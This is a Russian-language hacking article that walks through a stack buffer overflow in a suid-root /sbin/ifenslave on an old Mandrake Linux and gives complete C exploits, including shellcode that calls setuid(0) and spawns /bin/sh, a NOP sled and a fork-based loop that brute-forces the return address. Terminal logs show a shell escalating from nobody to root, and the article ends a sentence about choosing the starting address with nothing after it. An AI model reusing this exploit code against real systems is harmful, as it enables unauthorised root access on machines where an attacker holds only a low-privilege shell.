В данной статье описана техника написания брутфорсера ret-адресов для локальных эксплойтов переполнения буфера. Зачем это нужно? Во-первых, при взломе какой-либо незнакомой системы, возможность пропустить уязвимый файл через дебаггер может быть затруднена (за недостатком привелегий, например), а по-другому нужный адрес можно узнать лишь перебором. Во-вторых, esp далеко не всегда указывает туда, куда нужно ;] Тоже надо подбирать offset. В-третьих, просто для повышения своей квалификации в программировании на cpp.
Вообще, способов на ум приходит много. Например, для самых маленьких, смотреть, выпала ли атакуемая программа в core =)
На мой взгляд, наиболее интересными будут вот эти два варианта:
(gdb) file /sbin/ifenslave Reading symbols from /sbin/ifenslave...(no debugging symbols found)...done. (gdb) r `perl -e 'print "A"x1000'` Starting program: /sbin/ifenslave `perl -e 'print "A"x1000'` (no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) x/10x $esp 0xbfffebc0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffebd0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffebe0: 0x41414141 0x41414141"Классическое" переполнение буфера с перезаписью адреса возврата. Код рабочего эксплойта (проверен на mdk9.1):
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
static char shellcode[]=
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
"\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
"/bin/sh";
#define NOP 0x90
#define RET 0xbffff687
int main(int argc, char **argv)
{
int offset=55;
char buffer[1000];
long retaddr;
int i;
retaddr=RET+offset;
for (i=0;i<200;i+=4) {
*(long *)&buffer[i] = retaddr; //заполняем ret'ами первые 200b буфера
}
for (i=0;i<100;i++) {
buffer[i+200] = NOP; //добавляем 100b nop'ов
}
for (i=0;i<strlen(shellcode);i++) {
buffer[i+300] = shellcode[i]; //посимвольно добавляем шеллкод
}
execl("/sbin/ifenslave","/sbin/ifenslave",buffer,NULL); //запускаем
}
Проверяем:
[satan@localhost 0dd]$ gcc -o eee eee.c [satan@localhost 0dd]$ ./eee sh-2.05b# exit exit [satan@localhost 0dd]$Тут всё понятно. А теперь, предположим, у /sbin/ifenslave стоит suid-бит и он лежит на отличном от mdk удалённом боксе, где у нас есть nobody-shell. Смотрим:
sh-2.05b$ whoami; ls -l /sbin/ifenslave nobody -rwsr-sr-x 1 root root 11544 Sep 2 2003 /sbin/ifenslave sh-2.05b$ gdb /sbin/ifenslave (gdb) r Starting program: /sbin/ifenslave Couldn't get registers: Operation not permitted. (gdb)Вот как раз та ситуация, о которой я говорил вначале: на debug уязвимого приложения не хватает привелегий. Можно, конечно, поиграться с esp, но, опять же, как я говорил выше, это не всегда даёт нам желаемый результат. Выход один: bruteforcing...
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>
static char shellcode[]=
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
"\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
"/bin/sh";
// Начальный ret, от которого собстно и будем отталкиваться.
// Взят в моём случае из gdb
#define RET 0xbffff687
#define NOP 0x90
int main(int argc, char **argv)
{
int x=0, status, i;
int offset=20; // <- положительный.
char buffer[1000];
long retaddr;
pid_t pid;
retaddr=RET+offset;
printf("\n[+] 0dd ifenslave local root xpl ;D\n\n");
printf("[~] Trying offset %d, addr 0x%x\n",x, retaddr);
// 300 - предельное число, на которое RET может быть увеличен.
// взял маленькое, для отладки. В боевых условиях оно должно быть
// где-то в 100 раз больше.
while(x<=300)
{
//создаём дочерний процесс
if((pid=fork())==0)
{
/* Child */
// чайлд заново генерирует exploit buffer с новым
// адресом возврата
for (i=0;i<200;i+=4) {
*(long *)&buffer[i] = retaddr;
}
for (i=0;i<100;i++) {
buffer[i+200] = NOP;
}
for (i=0;i<strlen(shellcode);i++) {
buffer[i+300] = shellcode[i];
}
// запускаем ifenslave - пытаемся эксплуатировать bof
execl("/sbin/ifenslave","/sbin/ifenslave",buffer,NULL);
/* END */
}
// в то время, как чайлд пытается эксплуатировать уязвимость в
// ifenslave,
// parent ждёт его завершения. Причём, номер сигнала, который
// пошлёт потомок после кончины,
// будет помещён в переменную status.
wait(&status);
// пишем, какой сигнал получен. Опять же, для отладки.
printf("[~] Received signal: #%i\n", status);
// проверяем. Если номер соответствует нулю (0), значит чайлд
// завершился без ошибок,
// то есть, после переполнения ifenslave продолжил работу,
// _то_есть_, или выполнился шеллкод или
// мы попали куда-то в cs :) (хотя это маловероятно), тооо ееесть,
// ret верный и нам нет смысла продолжать
// перебор.
if(WIFEXITED(status) != 0 ) {
printf("[+] Retaddr guessed: 0x%x\n[~] Exiting...\n", retaddr);
exit(1);
} else {
// если же номер сигнала не соответствует нулю, значит возникли
// какие-то неполадки (SIGSEGV, SIGILL)...
// Прибавляем к x и к retaddr смещение, и повторяем весь цикл:
// заново создаём чайлда, он пытается уже с
// новым ret'ом получить шелл, ждём его, смотрим сигнал,
// попадаем сюда )
retaddr+=offset;
x+=offset;
printf("[~] Trying offset %d, addr 0x%x\n",x, retaddr);
}
}
}
Хочу сказать пару слов о выборе начального RET-адреса. В реальных условиях, когда не известно даже примерно в какой
части стэка лежит наш код, за ret можно взять:
Итак, результат:
sh-2.05b$ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) sh-2.05b$ gcc -o eee eee.c sh-2.05b$ ./eee [+] 0dd ifenslave local root xpl ;D [~] Trying offset 0, addr 0xbffff69b [~] Received signal: #8 [~] Trying offset 20, addr 0xbffff6af [~] Received signal: #8 [~] Trying offset 40, addr 0xbffff6c3 [~] Received signal: #11 [~] Trying offset 60, addr 0xbffff6d7 [~] Received signal: #8 [~] Trying offset 80, addr 0xbffff6eb [~] Received signal: #11 [~] Trying offset 100, addr 0xbffff6ff [~] Received signal: #4 [~] Trying offset 120, addr 0xbffff713 [~] Received signal: #4 [~] Trying offset 140, addr 0xbffff727 [~] Received signal: #8 [~] Trying offset 160, addr 0xbffff73b [~] Received signal: #4 [~] Trying offset 180, addr 0xbffff74f sh-2.05b# id uid=0(root) gid=0(root) groups=65534(nogroup) sh-2.05b# exit exit [~] Received signal: #0 [+] Retaddr guessed: 0xbffff74f [~] Exiting... sh-2.05b$ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) Thanx to WithoutHead.